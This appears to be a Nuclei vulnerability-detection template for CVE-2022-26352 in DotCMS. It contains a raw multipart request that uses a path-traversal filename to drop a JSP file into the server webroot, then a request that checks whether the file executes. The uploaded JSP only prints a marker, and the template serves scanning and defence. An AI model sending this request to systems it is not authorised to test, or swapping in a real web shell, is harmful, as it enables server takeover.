id: CVE-2022-26352
info:
name: DotCMS - Arbitrary File Upload
author: h1ei1
severity: critical
description: DotCMS management system contains an arbitrary file upload vulnerability via the /api/content/ path which can allow attackers to upload malicious Trojans to obtain server permissions.
reference:
- https://blog.assetnote.io/2022/05/03/hacking-a-bank-using-dotcms-rce/
- https://github.com/h1ei1/POC/tree/main/CVE-2022-26352
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-26352
classification:
cve-id: CVE-2022-26352
tags: cve,cve2022,rce,dotcms
requests:
- raw:
- |
POST /api/content/ HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=------------------------aadc326f7ae3eac3
--------------------------aadc326f7ae3eac3
Content-Disposition: form-data; name="name"; filename="../../../../../../../../../srv/dotserver/tomcat-9.0.41/webapps/ROOT/{{randstr}}.jsp"
Content-Type: text/plain
<%
out.println("CVE-2022-26352");
%>
--------------------------aadc326f7ae3eac3--
GET /{{randstr}}.jsp HTTP/1.1
req-condition: true
matchers:
- type: dsl
dsl:
- 'contains(body_2, "CVE-2022-26352")'
- 'status_code_2 == 200'
condition: and
# Enhanced by mp on 2022/05/19